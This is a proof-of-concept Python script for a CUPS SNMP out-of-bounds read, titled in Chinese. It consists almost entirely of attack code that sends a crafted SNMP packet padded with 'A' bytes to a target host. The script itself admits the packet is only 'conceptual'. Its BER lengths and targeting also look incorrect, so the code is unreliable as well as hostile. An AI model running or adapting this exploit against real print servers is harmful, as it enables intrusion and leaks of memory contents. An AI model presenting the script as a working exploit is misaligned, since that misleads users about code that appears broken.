CVE-2026-41079 OpenPrinting CUPS栈缓冲区越界读取漏洞

# PoC for CVE-2026-41079: CUPS SNMP Out-of-Bounds Read # This script demonstrates sending a crafted SNMP response to trigger the vulnerability. import socket import struct def send_malicious_snmp(target_ip): # SNMP UDP port port = 161 # Construct a simplified SNMP response packet structure # This payload is designed to trigger the overflow in the CUPS SNMP backend. # Note: Actual exploitation requires precise ASN.1 encoding specific to the CUPS implementation. # Community string 'public' community = b'public' # A crafted payload that exceeds the expected buffer size to trigger OOB read # The vulnerability allows reading up to 176 bytes past the buffer. # We construct a long string to simulate the overflow condition. overflow_payload = b'A' * 200 # Basic SNMP Packet Structure (Type, Length, Value) # This is a conceptual representation. Real packets require proper ASN.1 BER encoding. snmp_packet = b'\x30' + struct.pack('>B', len(community) + len(overflow_payload) + 4) # Sequence snmp_packet += b'\x02\x01\x01' # Version (v2c) snmp_packet += b'\x04' + struct.pack('>B', len(community)) + community # Community snmp_packet += b'\xa2' + struct.pack('>B', len(overflow_payload)) + overflow_payload # PDU GetResponse try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(snmp_packet, (target_ip, port)) print(f"[+] Malicious SNMP packet sent to {target_ip}") print("[+] Check the CUPS Web Interface for memory leaks in printer attributes.") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # Replace with the target CUPS server IP target = "192.168.1.100" send_malicious_snmp(target)